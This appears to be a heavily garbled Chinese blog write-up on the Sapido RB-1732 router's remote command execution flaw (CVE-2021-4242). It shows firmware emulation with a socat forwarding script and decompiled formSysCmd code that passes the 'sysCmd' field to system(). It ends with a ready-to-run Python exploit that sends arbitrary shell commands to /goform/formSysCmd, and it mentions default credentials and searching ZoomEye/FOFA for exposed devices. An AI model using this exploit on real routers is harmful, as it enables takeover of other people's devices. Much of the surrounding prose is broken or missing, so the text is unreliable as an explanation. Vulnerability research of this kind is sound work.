┌───────────────────────┐
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
└───────────────────────┘
Sapido RB-1732  RCE 
~ CuB3y0nd
# 

 IoT  :D

 Arch Linux ~~~~…… [Atti
fyOS](https://www.attify.com/) 仿 exp 
宿

~~……仿 arch 仿
~~

# 

…… CVE [CVE-2021-4242](https:/
/nvd.nist.gov/vuln/detail/CVE-2021-4242)




CVE: https://www.cve.org/CVERecord?id=CVE-2021-4242

访


# 仿

~~仿 easy peasy~~

使 [Firmware Analysis Toolkit](https://github.com/attify/firmware-an
alysis-toolkit)~~~~
便宿访仿


```bash
#!/bin/bash

TARGET_IP="$1"
PORT_RULES="$2"

if [[ -z "$TARGET_IP" || -z "$PORT_RULES" ]]; then
  echo "usage: $0 <target_ip> "<host_port:target_port> <host_port:target_port> .
..""
  exit 1
fi

if ! command -v socat >/dev/null 2>&1; then
  echo "[-] socat not found."
  exit 1
fi

echo "[*] Target IP: $TARGET_IP"
echo "[*] Rules: $PORT_RULES"
echo

for rule in $PORT_RULES; do
  HOST_PORT="${rule%%:*}"
  TARGET_PORT="${rule##*:}"

  echo "[+] Forwarding host: $HOST_PORT → $TARGET_IP:$TARGET_PORT"

  socat TCP-LISTEN:"$HOST_PORT",fork TCP:"$TARGET_IP":"$TARGET_PORT" &

  PID=$!
  echo "    Started (PID=$PID)"
done

echo
echo "[OK] All forwarding rules loaded."
```
# 

 `binwalk`~~~~
 SquashFS 
Well32-bit  MIPS
 http 

 `/etc/init.d` `rcS``rcS_16M`  `rcS_32M`
使 `rcS` 


 `we
bs` 
 ELF  IDA 


~~~~

 web  `cgi-bin`  `goform` handlers 

 form handler


```c {23} del={28-32} collapse={1-19, 35-95}
int __fastcall formSysCmd(int a1)
{
  int Var; // $s4
  const char *v3; // $s1
  _BYTE *v4; // $s5
  int v5; // $s6
  const char *p_writepath; // $s3
  _BYTE *v7; // $s7
  int v8; // $v0
  _DWORD *v9; // $s0
  int v10; // $a0
  const char *Var_1; // $a1
  int v12; // $v0
  int v13; // $s1
  void (__fastcall *p_fputc)(int, _DWORD *); // $t9
  _BYTE *v15; // $a0
  _BYTE *v16; // $a3
  int v17; // $a0
  int v18; // $v0
  char p_writepath_1[104]; // [sp+20h] [-68h] BYREF

  Var = websGetVar(a1, "submit-url", &dword_47F498);
  v3 = (const char *)websGetVar(a1, "sysCmd", &dword_47F498);
  v4 = (_BYTE *)websGetVar(a1, "writeData", &dword_47F498);
  v5 = websGetVar(a1, "filename", &dword_47F498);
  p_writepath = (const char *)websGetVar(a1, "fpath", &dword_47F498);
  v7 = (_BYTE *)websGetVar(a1, "readfile", &dword_47F498);
  if ( *v3 )
  {
    snprintf(p_writepath_1, 100, "%s 2>&1 > %s", v3, "/tmp/syscmd.log");
    system(p_writepath_1);
  }
  if ( *v4 )
  {
    strcpy(p_writepath_1, p_writepath);
    strcat(p_writepath_1, v5);
    v8 = fopen(p_writepath_1, "w");
    v9 = (_DWORD *)v8;
    if ( !v8 )
    {
      printf("Open %s fail.n", p_writepath_1);
      v10 = a1;
      Var_1 = (const char *)Var;
      return websRedirect(v10, Var_1);
    }
    v13 = 0;
    v12 = fileno(v8);
    fchmod(v12, 511);
    if ( *(int *)(a1 + 240) > 0 )
    {
      while ( 1 )
      {
        p_fputc = (void (__fastcall *)(int, _DWORD *))&fputc;
        if ( !v9[13] )
          break;
        v15 = (_BYTE *)v9[4];
        p_fputc = (void (__fastcall *)(int, _DWORD *))&_fputc_unlocked;
        v16 = (_BYTE *)(*(_DWORD *)(a1 + 204) + v13);
        if ( (unsigned int)v15 >= v9[7] )
        {
          v17 = (char)*v16;
LABEL_12:
          p_fputc(v17, v9);
          goto LABEL_13;
        }
        *v15 = *v16;
        v9[4] = v15 + 1;
LABEL_13:
        if ( ++v13 >= *(_DWORD *)(a1 + 240) )
          goto LABEL_14;
      }
      v17 = *(char *)(*(_DWORD *)(a1 + 204) + v13);
      goto LABEL_12;
    }
LABEL_14:
    fclose(v9);
    printf("Write to %sn", p_writepath_1);
    strcpy(&writepath, p_writepath);
  }
  if ( *v7 && (v18 = fopen(p_writepath, "r")) != 0 )
  {
    fclose(v18);
    sprintf(p_writepath_1, "cat %s > /web/obama.dat", p_writepath);
    system(p_writepath_1);
    usleep(10000);
    v10 = a1;
    Var_1 = "/obama.dat";
  }
  else
  {
    v10 = a1;
    Var_1 = (const char *)Var;
  }
  return websRedirect(v10, Var_1);
}
```

 `sysCmd`  `<sysCmd> 2>&1 > /tmp/syscmd.log` 
 `p_writepath_1` `system(p_writepath_1)`
 `sysCmd` 使 form

使 `ripgrep` 
 `webs`  `web/syscmd.asp`  `web/obama.asp` 
 form`obama.as
p`  `syscmd.asp`  `sysCmd` 

# 

 CVE 访 `syscmd.asp`
  `obama.asp` 访
 `admin/admin`访
 `obama.asp` 
btw  `htm`  `asp`

~~……~~

## 

 `ZoomEye`  
`FOFA` ……
便
……
## Exploit

 exp 

```python
#!/usr/bin/env python3

import requests
from pwn import log, sys


def rce(host, port, cmd):
    payload = {
        "sysCmd": cmd,
        "apply": "Apply",
        "submit-url": "/obama.asp",
    }

    try:
        r = requests.post(
            f"http://{host}:{port}/goform/formSysCmd",
            data=payload,
            timeout=5,
        )
    except Exception as e:
        log.error(f"HTTP request failed: {e}")

    text = r.text
    start_tag = '<textarea rows="15" name="msg" cols="80" wrap="virtual">'
    end_tag = "</textarea>"

    start = text.find(start_tag)
    end = text.rfind(end_tag)

    if start < 0 or end < 0:
        log.warn("Output parsing failed.")
        return text

    return text[start + len(start_tag) : end]


def main():
    log.success(rce(sys.argv[1], sys.argv[2], sys.argv[3]))


if __name__ == "__main__":
    main()
```
# 


使

# 

 RCE  IoT 
西